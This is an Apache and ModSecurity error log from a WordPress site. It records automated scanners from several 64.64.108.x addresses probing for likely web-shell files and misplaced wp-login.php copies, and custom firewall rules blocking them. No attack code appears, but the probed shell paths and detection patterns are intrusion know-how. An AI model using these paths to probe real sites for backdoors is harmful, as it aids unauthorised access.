[Fri Feb 27 11:12:58.269146 2026] [proxy_fcgi:error] [pid 56075:tid 56100] [client 64.64.108.33:53033] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:12:58.786438 2026] [proxy_fcgi:error] [pid 56075:tid 56078] [client 64.64.108.33:53033] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:12:59.396594 2026] [proxy_fcgi:error] [pid 56075:tid 56095] [client 64.64.108.33:53033] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:12:59.955967 2026] [:error] [pid 56075:tid 56082] [client 64.64.108.33:53033] [client 64.64.108.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/file.php"] [unique_id "aaELu8KBhrfI6KNv9RiGkQAAAAU"]
[Fri Feb 27 11:13:01.670047 2026] [:error] [pid 52073:tid 52094] [client 64.64.108.21:27579] [client 64.64.108.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "aaELvYa650YPyxXVeRZiugAAAZI"]
[Fri Feb 27 11:13:03.144479 2026] [:error] [pid 49306:tid 49308] [client 64.64.108.16:30035] [client 64.64.108.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/Cache/about.php"] [unique_id "aaELv_nSUDZue59Px9ttDAAAAUA"]
[Fri Feb 27 11:13:04.231493 2026] [proxy_fcgi:error] [pid 52073:tid 52091] [client 64.64.108.57:46563] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:13:06.006462 2026] [proxy_fcgi:error] [pid 52073:tid 52084] [client 64.64.108.57:46563] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:13:06.582731 2026] [:error] [pid 52073:tid 52078] [client 64.64.108.57:46563] [client 64.64.108.57] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.64.108.57, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/wp-login.php"] [unique_id "aaELwoa650YPyxXVeRZjBQAAAYI"]
[Fri Feb 27 11:13:07.222875 2026] [:error] [pid 52073:tid 52089] [client 64.64.108.57:46563] [client 64.64.108.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aaELw4a650YPyxXVeRZjDwAAAY0"]
[Fri Feb 27 11:13:10.005480 2026] [proxy_fcgi:error] [pid 52073:tid 52095] [client 64.64.108.65:56049] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:13:10.574450 2026] [proxy_fcgi:error] [pid 52073:tid 52100] [client 64.64.108.65:56049] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:13:11.848278 2026] [:error] [pid 52073:tid 52079] [client 64.64.108.65:56049] [client 64.64.108.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aaELx4a650YPyxXVeRZjjQAAAYM"]
[Fri Feb 27 11:13:12.862742 2026] [:error] [pid 54102:tid 54160] [client 64.64.108.56:57151] [client 64.64.108.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/wp-login.php"] [unique_id "aaELyHi74D4fiYUm_GcM-wAAAJA"]
[Fri Feb 27 11:13:13.930442 2026] [proxy_fcgi:error] [pid 62998:tid 63007] [client 64.64.108.63:37239] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:13:14.471464 2026] [proxy_fcgi:error] [pid 62998:tid 63016] [client 64.64.108.63:37239] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:13:15.468521 2026] [proxy_fcgi:error] [pid 62998:tid 63010] [client 64.64.108.63:37239] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:13:17.599210 2026] [:error] [pid 62998:tid 63006] [client 64.64.108.63:37239] [client 64.64.108.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/function.php"] [unique_id "aaELzVQeueXZDUmoLolgvQAAAQQ"]
[Fri Feb 27 11:13:18.623487 2026] [proxy_fcgi:error] [pid 62998:tid 63006] [client 64.64.108.50:44187] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:13:19.153454 2026] [proxy_fcgi:error] [pid 62998:tid 63006] [client 64.64.108.50:44187] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:13:21.000523 2026] [:error] [pid 62998:tid 63006] [client 64.64.108.50:44187] [client 64.64.108.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/votes.php"] [unique_id "aaEL0FQeueXZDUmoLolhLwAAAQQ"]
[Fri Feb 27 11:13:24.342468 2026] [proxy_fcgi:error] [pid 56075:tid 56083] [client 64.64.108.64:55393] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:13:26.035496 2026] [:error] [pid 56075:tid 56077] [client 64.64.108.64:55393] [client 64.64.108.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/file.php"] [unique_id "aaEL1sKBhrfI6KNv9RiH0wAAAAA"]
[Fri Feb 27 11:13:28.376457 2026] [proxy_fcgi:error] [pid 49306:tid 49312] [client 64.64.108.31:28157] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:13:29.659812 2026] [:error] [pid 49306:tid 49315] [client 64.64.108.31:28157] [client 64.64.108.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/parx.php"] [unique_id "aaEL2fnSUDZue59Px9tt8wAAAUc"]
[Fri Feb 27 11:13:30.684635 2026] [proxy_fcgi:error] [pid 62998:tid 63019] [client 64.64.108.61:39211] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:13:31.148454 2026] [proxy_fcgi:error] [pid 62998:tid 63005] [client 64.64.108.61:39211] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:13:32.747665 2026] [proxy_fcgi:error] [pid 62998:tid 63008] [client 64.64.108.61:39211] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:13:33.753455 2026] [proxy_fcgi:error] [pid 62998:tid 63026] [client 64.64.108.61:39211] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:13:34.337459 2026] [proxy_fcgi:error] [pid 62998:tid 63007] [client 64.64.108.61:39211] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:13:34.942511 2026] [proxy_fcgi:error] [pid 62998:tid 63004] [client 64.64.108.61:39211] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:13:35.449605 2026] [:error] [pid 62998:tid 63006] [client 64.64.108.61:39211] [client 64.64.108.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/components/about.php"] [unique_id "aaEL31QeueXZDUmoLoliWAAAAQQ"]
[Fri Feb 27 11:13:36.974370 2026] [proxy_fcgi:error] [pid 54101:tid 54112] [client 64.64.108.50:61235] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:13:38.378460 2026] [proxy_fcgi:error] [pid 54101:tid 54123] [client 64.64.108.50:61235] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:13:38.841139 2026] [:error] [pid 54101:tid 54127] [client 64.64.108.50:61235] [client 64.64.108.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aaEL4lY5qgRktcYTGFvqSwAAAdM"]
[Fri Feb 27 11:13:39.922512 2026] [proxy_fcgi:error] [pid 62998:tid 63009] [client 64.64.108.52:39371] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:13:40.444383 2026] [proxy_fcgi:error] [pid 62998:tid 63026] [client 64.64.108.52:39371] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:13:40.892796 2026] [proxy_fcgi:error] [pid 62998:tid 63007] [client 64.64.108.52:39371] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:13:42.598445 2026] [proxy_fcgi:error] [pid 62998:tid 63026] [client 64.64.108.52:39371] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:13:44.368918 2026] [:error] [pid 62998:tid 63007] [client 64.64.108.52:39371] [client 64.64.108.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/item.php"] [unique_id "aaEL6FQeueXZDUmoLoljCAAAAQU"]
[Fri Feb 27 11:13:47.570502 2026] [proxy_fcgi:error] [pid 49306:tid 49326] [client 64.64.108.61:56905] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:13:48.552971 2026] [:error] [pid 49306:tid 49324] [client 64.64.108.61:56905] [client 64.64.108.61] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.64.108.61, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/.well-known/pki-validation/wp-login.php"] [unique_id "aaEL7PnSUDZue59Px9tulQAAAVA"]
[Fri Feb 27 11:13:48.576454 2026] [proxy_fcgi:error] [pid 49306:tid 49324] [client 64.64.108.61:56905] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:13:49.181547 2026] [:error] [pid 49306:tid 49318] [client 64.64.108.61:56905] [client 64.64.108.61] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.64.108.61, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/classic-editor/wp-login.php"] [unique_id "aaEL7fnSUDZue59Px9tulgAAAUo"]
[Fri Feb 27 11:13:49.754754 2026] [:error] [pid 49306:tid 49322] [client 64.64.108.61:56905] [client 64.64.108.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/mani.php"] [unique_id "aaEL7fnSUDZue59Px9tumAAAAU4"]
[Fri Feb 27 11:13:51.087096 2026] [:error] [pid 54103:tid 54174] [client 64.64.108.25:41979] [client 64.64.108.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "aaEL7-vG4MPCmE0B2sAwQAAAAMM"]
[Fri Feb 27 11:13:52.198615 2026] [proxy_fcgi:error] [pid 56075:tid 56091] [client 64.64.108.39:30355] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:13:52.856688 2026] [proxy_fcgi:error] [pid 56075:tid 56099] [client 64.64.108.39:30355] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:13:53.544254 2026] [proxy_fcgi:error] [pid 56075:tid 56090] [client 64.64.108.39:30355] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:13:55.376468 2026] [proxy_fcgi:error] [pid 56075:tid 56098] [client 64.64.108.39:30355] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:13:57.465998 2026] [:error] [pid 56075:tid 56077] [client 64.64.108.39:30355] [client 64.64.108.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/network.php"] [unique_id "aaEL9cKBhrfI6KNv9RiJCAAAAAA"]
[Fri Feb 27 11:13:58.790468 2026] [proxy_fcgi:error] [pid 56075:tid 56096] [client 64.64.108.61:56743] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:13:59.256659 2026] [proxy_fcgi:error] [pid 56075:tid 56090] [client 64.64.108.61:56743] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:13:59.756273 2026] [:error] [pid 56075:tid 56102] [client 64.64.108.61:56743] [client 64.64.108.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aaEL98KBhrfI6KNv9RiJJQAAABg"]
[Fri Feb 27 11:14:01.025469 2026] [proxy_fcgi:error] [pid 54231:tid 54253] [client 64.64.108.56:30723] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:14:02.649464 2026] [proxy_fcgi:error] [pid 54231:tid 54235] [client 64.64.108.56:30723] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:14:05.034009 2026] [:error] [pid 54231:tid 54248] [client 64.64.108.56:30723] [client 64.64.108.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-supports/about.php"] [unique_id "aaEL_eTvb5AeyJCdY7B1PAAAAE4"]
[Fri Feb 27 11:14:06.554476 2026] [proxy_fcgi:error] [pid 49306:tid 49328] [client 64.64.108.41:26463] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:14:08.247091 2026] [:error] [pid 49306:tid 49317] [client 64.64.108.41:26463] [client 64.64.108.41] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.64.108.41, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-content/wp-login.php"] [unique_id "aaEMAPnSUDZue59Px9tvVgAAAUk"]
[Fri Feb 27 11:14:08.897774 2026] [proxy_fcgi:error] [pid 49306:tid 49330] [client 64.64.108.41:26463] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:14:09.955464 2026] [proxy_fcgi:error] [pid 49306:tid 49314] [client 64.64.108.41:26463] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:14:10.452271 2026] [:error] [pid 49306:tid 49322] [client 64.64.108.41:26463] [client 64.64.108.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/file.php"] [unique_id "aaEMAvnSUDZue59Px9tvggAAAU4"]
[Fri Feb 27 11:14:12.813986 2026] [proxy_fcgi:error] [pid 52073:tid 52094] [client 64.64.108.53:23493] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:14:14.183936 2026] [:error] [pid 52073:tid 52079] [client 64.64.108.53:23493] [client 64.64.108.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/xBrain.php"] [unique_id "aaEMBoa650YPyxXVeRZnoQAAAYM"]
[Fri Feb 27 11:14:15.398147 2026] [:error] [pid 54102:tid 54153] [client 64.64.108.49:44211] [client 64.64.108.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "aaEMB3i74D4fiYUm_GcO3gAAAIk"]
[Fri Feb 27 11:14:16.857922 2026] [:error] [pid 54231:tid 54235] [client 64.64.108.66:30207] [client 64.64.108.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aaEMCOTvb5AeyJCdY7B1kgAAAEE"]
[Fri Feb 27 11:14:21.374167 2026] [:error] [pid 54102:tid 54150] [client 64.64.108.29:22247] [client 64.64.108.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/widgets/about.php"] [unique_id "aaEMDXi74D4fiYUm_GcPBgAAAIY"]
[Fri Feb 27 11:14:22.511465 2026] [proxy_fcgi:error] [pid 56075:tid 56099] [client 64.64.108.58:48055] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:14:23.055463 2026] [proxy_fcgi:error] [pid 56075:tid 56078] [client 64.64.108.58:48055] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:14:24.765637 2026] [proxy_fcgi:error] [pid 56075:tid 56098] [client 64.64.108.58:48055] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:14:25.269464 2026] [proxy_fcgi:error] [pid 56075:tid 56079] [client 64.64.108.58:48055] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:14:25.698572 2026] [proxy_fcgi:error] [pid 56075:tid 56100] [client 64.64.108.58:48055] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:14:26.156461 2026] [proxy_fcgi:error] [pid 56075:tid 56102] [client 64.64.108.58:48055] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:14:26.772534 2026] [proxy_fcgi:error] [pid 56075:tid 56087] [client 64.64.108.58:48055] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:14:28.156448 2026] [proxy_fcgi:error] [pid 56075:tid 56098] [client 64.64.108.58:48055] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:14:29.761845 2026] [:error] [pid 56075:tid 56088] [client 64.64.108.58:48055] [client 64.64.108.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/radio.php"] [unique_id "aaEMFcKBhrfI6KNv9RiJ9wAAAAs"]
[Fri Feb 27 11:14:31.353461 2026] [proxy_fcgi:error] [pid 54231:tid 54251] [client 64.64.108.28:52067] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:14:31.947766 2026] [proxy_fcgi:error] [pid 54231:tid 54240] [client 64.64.108.28:52067] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:14:32.388723 2026] [proxy_fcgi:error] [pid 54231:tid 54243] [client 64.64.108.28:52067] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:14:32.939577 2026] [proxy_fcgi:error] [pid 54231:tid 54257] [client 64.64.108.28:52067] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:14:33.966454 2026] [proxy_fcgi:error] [pid 54231:tid 54239] [client 64.64.108.28:52067] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:14:34.452455 2026] [proxy_fcgi:error] [pid 54231:tid 54257] [client 64.64.108.28:52067] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:14:35.636035 2026] [:error] [pid 54231:tid 54254] [client 64.64.108.28:52067] [client 64.64.108.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sodium_compat/src/Core/Curve25519/Ge/wp_blog.php"] [unique_id "aaEMG-Tvb5AeyJCdY7B2jwAAAFQ"]
[Fri Feb 27 11:14:39.335948 2026] [:error] [pid 49306:tid 49316] [client 64.64.108.42:64993] [client 64.64.108.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aaEMH_nSUDZue59Px9txSwAAAUg"]
[Fri Feb 27 11:14:41.040502 2026] [proxy_fcgi:error] [pid 62998:tid 63002] [client 64.64.108.46:61859] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:14:41.568472 2026] [proxy_fcgi:error] [pid 62998:tid 63004] [client 64.64.108.46:61859] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:14:42.066477 2026] [proxy_fcgi:error] [pid 62998:tid 63002] [client 64.64.108.46:61859] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:14:43.144665 2026] [proxy_fcgi:error] [pid 62998:tid 63009] [client 64.64.108.46:61859] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:14:43.659113 2026] [proxy_fcgi:error] [pid 62998:tid 63016] [client 64.64.108.46:61859] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:14:44.066609 2026] [proxy_fcgi:error] [pid 62998:tid 63013] [client 64.64.108.46:61859] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:14:44.536137 2026] [:error] [pid 62998:tid 63026] [client 64.64.108.46:61859] [client 64.64.108.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/Text/index.php"] [unique_id "aaEMJFQeueXZDUmoLolnIQAAARg"]
[Fri Feb 27 11:14:47.751719 2026] [:error] [pid 56075:tid 56102] [client 64.64.108.29:45015] [client 64.64.108.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/random_compat/about.php"] [unique_id "aaEMJ8KBhrfI6KNv9RiKpgAAABg"]
[Fri Feb 27 11:14:49.857470 2026] [proxy_fcgi:error] [pid 62998:tid 63022] [client 64.64.108.55:36549] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:14:50.446469 2026] [proxy_fcgi:error] [pid 62998:tid 63026] [client 64.64.108.55:36549] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:14:51.137924 2026] [proxy_fcgi:error] [pid 62998:tid 63017] [client 64.64.108.55:36549] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:14:51.768210 2026] [proxy_fcgi:error] [pid 62998:tid 63002] [client 64.64.108.55:36549] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:14:52.358472 2026] [proxy_fcgi:error] [pid 62998:tid 63016] [client 64.64.108.55:36549] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:14:52.886570 2026] [proxy_fcgi:error] [pid 62998:tid 63014] [client 64.64.108.55:36549] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:14:53.359720 2026] [proxy_fcgi:error] [pid 62998:tid 63019] [client 64.64.108.55:36549] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:14:53.880133 2026] [proxy_fcgi:error] [pid 62998:tid 63014] [client 64.64.108.55:36549] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:14:54.457464 2026] [proxy_fcgi:error] [pid 62998:tid 63018] [client 64.64.108.55:36549] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:14:54.947636 2026] [proxy_fcgi:error] [pid 62998:tid 63009] [client 64.64.108.55:36549] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:14:55.542790 2026] [proxy_fcgi:error] [pid 62998:tid 63006] [client 64.64.108.55:36549] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:14:56.074452 2026] [proxy_fcgi:error] [pid 62998:tid 63018] [client 64.64.108.55:36549] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:14:56.757228 2026] [proxy_fcgi:error] [pid 62998:tid 63018] [client 64.64.108.55:36549] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:14:57.254458 2026] [proxy_fcgi:error] [pid 62998:tid 63024] [client 64.64.108.55:36549] AH01071: Got error 'Primary script unknown'
